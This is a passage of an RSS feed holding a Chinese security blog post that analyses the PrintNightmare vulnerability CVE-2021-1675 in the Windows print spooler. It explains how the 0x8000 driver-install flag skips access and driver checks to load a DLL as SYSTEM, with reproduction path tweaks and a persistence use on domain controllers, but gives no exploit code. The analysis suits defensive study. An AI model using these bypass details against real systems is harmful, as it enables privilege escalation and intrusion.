Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">、主流开发框架、通用组件等。</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">通过深入研究，还原攻防对抗的</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">技术本质</span></p><p style="white-space: normal;line-height: 1.75em;"><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;"><br/></span></p><p style="white-space: normal;line-height: 1.75em;text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">有意向加入我们的朋友，可提交你个人简历或者原创文章到tianxuan_seclab@163.com</span></p><p style="white-space: normal;line-height: 1.75em;"><br/></p></section></section><section style="text-align: left;margin-left:2em;margin-top:-12px;"><section style="display:inline-block;width:50px;background:#fefefe;"><img data-ratio="0.6170212765957447" style="display: block;width: 30px;margin-right: auto;margin-left: auto;transform: scaleX(-1);" data-type="png" data-w="47" src="https://wechat2rss.xlab.app/img-proxy/?k=39ca448e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQUicdnhb2mlVdmdJicCeIEhmegomgcwlZpDqiaOKo2zcvM3iaqO1iciaOLibbQ%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"></span></section></section></section></section><section style="color: rgb(0, 0, 0);font-size: 16px;text-indent: 0em;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><span style="letter-spacing: 0.544px;text-indent: 0em;"></span><br/></section><p style="color: rgb(0, 0, 0);font-size: 16px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;"><br/></p><section style="color: rgb(0, 0, 0);font-size: 16px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;text-align: right;"><br/></section>



<p><a href="https://mp.weixin.qq.com/s/TQENUYrKtfafZg-3i2Fzuw#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=070a991f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247483827%26idx%3D1%26sn%3D98931949e1389a516cb596b3d3838fa8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Jul 2021 17:39:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2021-1675 分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247483819&amp;idx=1&amp;sn=3af7f2dcc110a56b8f75ddb2949736ea</link>
      <description>CVE-2021-1675分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>无明</span> <span>2021-07-14 12:05</span> <span style="display: inline-block;"></span>
</p>

<p>CVE-2021-1675分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=748ae27b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNH14G610sgsGfOq5s46D0KmpaMhPMKQKibBzclVXwzz36LgicO5dAm3Tg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="font-size: 24px;font-weight: bold;letter-spacing: 0px;">一 漏洞简介</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"></h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">前段时间，微软公布 Windows PrintNightmare 两个安全漏洞，分别为CVE-2021-1675和CVE-2021-34527。公布几天后，minikatz 率先工具化集成了 CVE-2021-1675 和 CVE-2021-34527 的 EXP。通过查看 minikatz 源码，在 CVE-2021-1675 的 EXP 中，调用的 RPC 函数为 RpcAddPrinterDriverEx；在 CVE-2021-34527 的 EXP 中，调用的 RPC 函数为 RpcAsyncAddPrinterDriver。系统处理这两个 RPC 函数后，都调用了 YAddPrinterDriverEx 函数，但是没有对参数dwFileCopyFlags进行条件判断。由此可设置 APD_INSTALL_WARNED_DRIVER 标志，使添加打印机驱动时，以高权限加载 DLL。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.26956521739130435" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=e132eda2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNN2REY0aoooZTv2vFILatDicK5wf0TIicJdol53ezM9O2Y9KqAUzY2XyAQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.22426470588235295" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=349f5b0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNLG7mWm8OCsjJmz36TEqpqIB0dM1rIqoLgtoKcZdwaVnvCriccoOk2HA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">(补丁前后对比：Windows PrintNightmare 漏洞和补丁分析)</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文复现和分析的环境为 Windos Server 2016 Standard。通过afwu 发布的 EXP进行修改修改，复现 CVE-2021-1675。复现文章也挺多，这里推荐一篇，不复现了。值得一提的是，在复现时，除了修改 UNIDRV.DLL 文件路径以外，还需要修改 pConfigFile 赋值的路径。如果采用 1 方式的路径，由于在打开文件句柄之后执行驱动文件的更新，Old 目录还未生成，所以打开句柄时，找不到文件。采用 2 方式的路径，文件句柄打开后，并未释放处于占用状态，导致后面加载 DLL 的时候，加载失败。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.22805139186295503" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="934" src="https://wechat2rss.xlab.app/img-proxy/?k=97fe2a08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNaudlBic3BL9MJ97KfOFEn6HCKfQoR7FIeQMEzHeQBpKZqRwjHficYZ3w%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>二 漏洞分析</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>1 动态查看 CVE 调用</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>1）CVE-2021-1675<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过 Process Moniter 抓取到 EXP 加载 DLL 时，执行过程中的堆栈调用。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4858823529411765" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="850" src="https://wechat2rss.xlab.app/img-proxy/?k=69fc2e23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNN54DUqB8IfVbWtZr8NjnrOJWzKZFpWnk56VeWWy8jdUPfA0n68OQZNw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">该漏洞点在于，调用 YAddPrinterDriverEx 函数时，没有对参数 dwFileCopyFlags 做校验，能够使用 APD_INSTALL_WARNED_DRIVER 标志，导致后面对驱动合法性校验失效，可以任意的加载 DLL，并且为 system 权限。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4007220216606498" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=cc41a3f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNRDDVF7VGrHjMWJkMXNlib8MKG49AicOxKalMaXdO4xAnaVfJhtlX75EQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>2）CVE-2021-34527<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">同样通过 process moniter 抓取 mimikatz 中 CVE-2021-34527 的 EXP 执行数据，加载 DLL 的堆栈调用。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.47630057803468207" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=1ef2f48b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNEBibiarVsAu2miaJydtNaIqFXlLH8ZB7Jm8ibknt2wBcepDtHubrbia5WiaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过地址可以找到，spoolsv.exe 的调用的处理函数为 NThreadingLibrary::TWorkCrew::tpSimpleCallback。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.17691029900332225" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1204" src="https://wechat2rss.xlab.app/img-proxy/?k=253098cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNcpaMBzcMMN6rpaWnaYmnxnUWPbAgIHpTGKAr6ILfvNcustCXsQiau8g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续调用 TFunction4&lt;unsigned short _,_DRIVER_CONTAINER _,unsigned long,enum Call_Route&gt;::Run(__int64 a1)函数，最后调用 YAddPrinterDriverEx。由此可知 CVE-2021-34527 和 CVE-2021-1675，最终都是调用 YAddPrinterDriverEx 函数，只是 RPC 调用不同，所以可以说这个漏洞是 CVE-2021-1675 的补丁绕过。引发思考，如果再有不同 RPC 调用了 YAddPrinterDriverEx 函数，也是能绕过 CVE-2021-1675 补丁的。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6128236744759556" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="811" src="https://wechat2rss.xlab.app/img-proxy/?k=f5895cad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNwjyd86dPJZaWmkQPMibRic4ic8bRm05rZiaxKrD4oGo9nYohlA9riae8TQw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>2 功能分析</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">EXP 会通过 RpcBindingSetAuthInfoExW 函数，绑定句柄的认证，授权和安全质量的服务信息。当函数执行成功时，identity.User 设置用户名，代表了权限。如果是低权限用户，执行 ValidateObjectAccess 函数后结果为 0，administrator 用户的权限执行 ValidateObjectAccess 函数后结果为 1。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2631578947368421" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="893" src="https://wechat2rss.xlab.app/img-proxy/?k=5490486d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNvrrRdXDokicPnArd8Q43jLabH4OEuet9N4qhjYx5MjEGO0edcI95uEQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>1）绕过 ValidateObjectAccess 检测<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2021-1675 是逻辑漏洞，通过 RPC 添加打印机驱动程序的时候，参数 dwFileCopyFlags（v7）的标志位 APD_INSTALL_WARNED_DRIVER（0x8000）为 1 时，_bittest 函数的结果为 1，则 v12 被赋值为 0，从而不执行 ValidateObjectAccess 的检查。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.1491317671092952" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="979" src="https://wechat2rss.xlab.app/img-proxy/?k=cc3eb90d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNWcn68jZI4iaicISePk1nickthp15fMzmLeiaEqdPTEEvTbMR4pkNYSIhsQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但在 Server 12 的中，a7 的值是固定为 1，一定会执行 ValidateObjectAccess 检测。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.09276729559748427" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="636" src="https://wechat2rss.xlab.app/img-proxy/?k=a231fdb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNCYKnjtGlml8ju0JKibWQpkHkMAScVgA0ZJBfLztg9QViarf94vbbd0FA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.45726495726495725" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="936" src="https://wechat2rss.xlab.app/img-proxy/?k=7af2c5bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNu2C9oia9sIPHhTbDNUbPCjicX1cw3qtwtXV83V13aK1QtOJRh7Djfm6g%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>2）检查驱动基本信息<span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.056010928961748634" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="732" src="https://wechat2rss.xlab.app/img-proxy/?k=3f91320e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNzk94BldpDiaJVJxKGdmMKpMaJmwZVdiaHNF2Qaiax7ogIUicafIdOHu6CQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">MyName：检查驱动名称是否合法，ValidateDriverInfo 的执行流程。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">检查是否为本地文件</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">核对初始化 key</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">校验驱动文件的合法性</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.0792507204610951" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="694" src="https://wechat2rss.xlab.app/img-proxy/?k=aa08a2cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNl3UOwlUrqvxIB6iarwdbAcjxxIt2UszDqySYkqXM3eib5hicmgnZianWEw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.034912718204488775" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=c25bd6f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNN82uGibde2PSQ0MbpGjVPHiaxRq2NL4MiavrN85KgibDvH0LGQhuBc6kZwA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是当 dwFileCopyFlags 含有 APD_INSTALL_WARNED_DRIVER(0x8000)标志位时，dwFileCopyFlags &amp; 0x8000 的结果为 0x8000，0x8000 取非后值为 0，将会跳过驱动进一步的校验。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.47619047619047616" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=61ad1703&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNibVk3ZjfXibBd1KGPaXTseJwz6iaWg5yhC9Ovy3MUuDyj9aicQibmCIm0ag%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>3）获取文件句柄<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">v13 的值是由 dwFileCopyFlags 的低 8 位取反后，右移 4 位，再跟 1 做与运算得出。v13 的值决定 CreateInternalDriverFileArray 函数的第 5 个参数（a5）。经过计算，当 dwFileCopyFlags 低 8 位的值为 0x1X 时(X 可为 0-F 中任意值)，可以使 a5 为 0。当 a5 的值为 0，可以规避对驱动文件的合法性检查。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过 CreateFile 打开文件，得到 3 个文件句柄，并保存到 DllAllocSplMem 申请的空间中，用于后面文件更新使用。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.8094768015794669" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1013" src="https://wechat2rss.xlab.app/img-proxy/?k=e7592361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNoRpq4zwrt7oSibOzmUwgKhzcMmicjwh4wic0icnFmpLCLk9n59nNhw4Gbg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>4）拷贝文件到驱动空间<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">dwFileCopyFlags 的成员 pConfigFile、pDataFile、pDriverPath 分别保存了配置文件、数据文件、驱动文件的文件路径。将上述成员中的文件路径下的文件，移动到 C:\Windows\System32\spool\drivers\x64\3 下时，需要经过以下操作：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">文件句柄的文件信息进行核对</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">将文件拷贝到 C:\Windows\System32\spool\drivers\x64\3\new</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过 WaitRequiredForDriverUnload 函数下的 MoveNewDriverRelatedFiles 函数，将 spool\drivers\x64\3 下的同名文件移动到 spool\drivers\x64\3\old\x (x∈[1,3] ) 目录下，再把 spool\drivers\x64\3\new 目录文件，移动到 spool\drivers\x64\3 下，从而实现更新文件。</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5251141552511416" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1095" src="https://wechat2rss.xlab.app/img-proxy/?k=cee48fbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNNW7RnVaUpMQsUlnhPeOb7mqc5YiaqwnNDDQ08cQJQiaTynibKZ38lolg0w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>5）更新驱动文件<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过更新 Config 文件，将 spool\drivers\x64\3 下新的配置文件加载起来。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.22201834862385322" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="545" src="https://wechat2rss.xlab.app/img-proxy/?k=4476bf04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4d8JPgSoib9OLbbhUiafKsNN6TozjmNeBEZ63TvWgicMldwL04HSlCn9icWfnlfaodX04picic5mJicGjuw%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>三 总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2021-1675 绕过用户权限检查，可以低用户的权限添加打印机驱动，由于是 RPC 执行打印机添加驱动，所以也能称为 RCE 漏洞。不过实现 RCE 条件是比较苛刻的，至少需要有域控的普通用户，且还需要有共享目录。个人认为该漏洞可用于持久化的操作，得到域控的 administrator 的账号和密码时，在有共享目录、能访问到域控的情况下，打上 6 月份的补丁，也能远程的加载共享目录下的 DLL。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>四 参考链接</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[1]<a href="https://www.freebuf.com/vuls/279876.html" target="_blank">https://www.freebuf.com/vuls/279876.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[2]<a href="https://422926799.github.io/posts/c257aa46.html" target="_blank">https://422926799.github.io/posts/c257aa46.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[3]<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b" target="_blank">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[4] <a href="https://github.com/afwu/PrintNightmare" target="_blank">https://github.com/afwu/PrintNightmare</a></p></section><p><br/></p>



<p><a href="2247483819">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2d6a72e8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247483819%26idx%3D1%26sn%3D3af7f2dcc110a56b8f75ddb2949736ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 14 Jul 2021 12:05:00 +0800</pubDate>
    </item>
  </channel>
</rss>